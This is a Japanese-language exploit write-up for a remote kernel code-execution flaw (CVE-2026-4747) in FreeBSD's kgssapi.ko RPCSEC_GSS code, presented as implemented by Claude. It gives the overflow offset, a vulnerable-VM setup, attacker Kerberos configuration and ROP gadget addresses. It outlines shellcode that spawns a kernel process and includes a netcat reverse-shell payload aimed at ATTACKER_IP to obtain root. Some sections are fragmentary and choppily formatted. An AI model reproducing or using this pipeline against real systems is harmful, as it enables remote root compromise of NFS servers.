Claude が完全に実装した、FreeBSD のリモートカーネル権限昇格（RCE）で、root シェルを取得するものです。

CVE‑2026‑4747 – FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー

1. 脆弱性概要

kgssapi.ko

oa_length

2. オーバーフローの発生メカニズム

int32_t rpchdr[128/sizeof(int32_t)];
// 固定ヘッダフィールドに 32 バイトを書き込む
memcpy((caddr_t)buf, oa->oa_base, oa->oa_length);   // ←境界チェック無し

• rpchdr

  はスタック上で 128 バイトを占有。
• ヘッダー分の 32 バイトを書き込んだ後、残りは 96 バイト。

• oa_length > 96

  の場合、コピー先がバッファ外へ書き込み、ローカル変数・保存レジスタ・最終的には戻りアドレスまで上書きされる。

スタックレイアウト（簡易化）

[rbp-0xe0]   ローカル変数
[rbp-0xc0]   rpchdr[0]
[rbp-0xa0]   memcpy 先 (オーバーフロー開始)
...
[rbp-0x28]   保存 RBX
[rbp-0x20]   保存 R12
[rbp-0x18]   保存 R13
[rbp-0x10]   保存 R14
[rbp-0x08]   保存 R15
[rbp+0x00]   保存 RBP
[rbp+0x08]   RETURN ADDRESS   ←オーバーフローで上書きされる

戻りアドレスへの実際のオフセットは 200 バイト（16 バイトの GSS コンテキストハンドルと XDR パディングが原因）である。

3. なぜ NFS と Kerberos？

• kgssapi.ko

  は RPCSEC_GSS を実装しており、カーネル内で利用される唯一のサービスは NFS (

  nfsd

  )。
• 攻撃は、有効な GSS コンテキスト（Kerberos チケット

  nfs/<hostname>@REALM

  ）を確立した上で脆弱な

  memcpy

  に到達する必要がある。

4. 対象環境 (Option A – QEMU Cloud‑Init)

# イメージのダウンロード
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d *.xz

# 変更とコピー
cp FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 freebsd-vuln.qcow2
qemu-img resize freebsd-vuln.qcow2 8G

# Cloud‑init user-data
cat > user-data <<'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
ssh_pwauth: True
bootcmd:
  - rm -f /firstboot
  - rm -f /var/db/freebsd-update/*
runcmd:
  - echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
  - service sshd restart
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - echo '/export -network 0.0.0.0/0' > /etc/exports
  - mkdir -p /export
  - service rpcbind start && service nfsd start
EOF

# Cloud‑init meta-data と ISO 作成
cat > meta-data <<'EOF'
instance-id: cve-test
local-hostname: freebsd-vuln
EOF
genisoimage -output seed.iso -volid cidata -joliet -rock user-data meta-data

# VM 起動 (2 CPU, 2 GB RAM)
qemu-system-x86_64 -enable-kvm -cpu host -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -cdrom seed.iso \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

• KDC のポート 88 をホスト側の 8888 にフォワード。
• VM 起動時に

  kgssapi

  がロードされ、NFS エクスポート

  /export

  が設定される。

5. 攻撃者環境 (Linux)

1. パッケージインストール

   sudo apt install krb5-user libkrb5-dev python3-gssapi
   

2. Kerberos 設定
   

   VM_IP

   を FreeBSD VM の IP、

   KDC_PORT

   を 88 または 8888 に置き換えてください。

   sudo tee /etc/krb5.conf <<EOF
   [libdefaults]
       default_realm = TEST.LOCAL
       rdns = false
       dns_canonicalize_hostname = false
   [realms]
       TEST.LOCAL = {
           kdc = VM_IP:KDC_PORT
       }
   EOF
   

3. ホスト名解決の追加

   echo "VM_IP test" | sudo tee -a /etc/hosts
   

4. チケット取得

   echo password | kinit testuser@TEST.LOCAL
   klist   # krbtgt/TEST.LOCAL@TEST.LOCAL が表示されるはず
   

6. エクスプロイト概要

pmap_change_prot(BSS, RWX)

kthread_exit

mov [BSS+off], qword

mov [BSS+off], qword

• 各ラウンドで NFS ワーカー・スレッド (

  kthread_exit

  ) が終了する。
• 最低 2 CPU (16 スレッド) が必要で、1 CPU の場合は約ラウンド 9 で失敗。

ROP ガジェット（

ROPgadget

による検索）

pop rdi; ret

K+0x1adcda

pop rsi; ret

K+0x1cdf98

pop rdx; ret

K+0x5fa429

pop rax; ret

K+0x400cb4

mov [rdi], rax; ret

0xffffffff80e3457c

• カーネルベース (

  K

  ) は FreeBSD 14.x で KASLR が無効なため 0xffffffff80200000。

7. シェルコード概要

1. エントリ (NFS スレッド)

   • スタックをクリーンな RWX ページへピボット。
   • ハードウェアデバッグレジスタ (

     DR7

     ) をクリア。

   • kproc_create(worker_fn, NULL, NULL, 0, 0, "/bin/sh")

     を呼び出し、ワーカーを生成。
   • NFS スレッドは

     kthread_exit

     で終了。

2. ワーカー (新規カーネルプロセス)

   • 引数ベクタ (

     exec_alloc_args

     ,

     exec_args_add_*

     ) を割り当て。

   • /bin/sh -c "<reverse‑shell>"

     をセットアップ。

   • kern_execve

     でユーザランドへ切替。

   • P_KPROC

     フラグをクリアし、

     fork_exit

     がプロセスを終了させないようにする。
   • 通常実行へ戻り、シェルが起動。

3. リバースシェルペイロード

   mkfifo /tmp/f; sh </tmp/f | nc ATTACKER_IP 4444 > /tmp/f
   

8. ポイントと落とし穴

• Kerberos のホスト名解決 –

  rdns = false

  と

  dns_canonicalize_hostname = false

  は必須。
• GSS プリンシパルタイプ –

  gssapi.NameType.kerberos_principal

  を使用。
• デバッグレジスタ –

  DR7

  をクリアせずに

  kproc_create()

  を呼ぶと子プロセスがブレークポイントを継承し、デバッグ例外でクラッシュ。
• NFS スレッド数 – 15 ラウンド全て完了するには最低 16 スレッド（2 CPU）が必要。

9. 成果

約 45 秒 (15 回の RPCSEC_GSS オーバーフロー) 後、攻撃者側にインタラクティブな root リバースシェルが現れます:

$ id
uid=0(root) gid=0(wheel)

このエクスプロイトは、標準的な NFS と Kerberos サービスのみを利用し、ユーザ空間から特権コードへリモートカーネル RCE を実現する完全なパイプラインであることを示しています。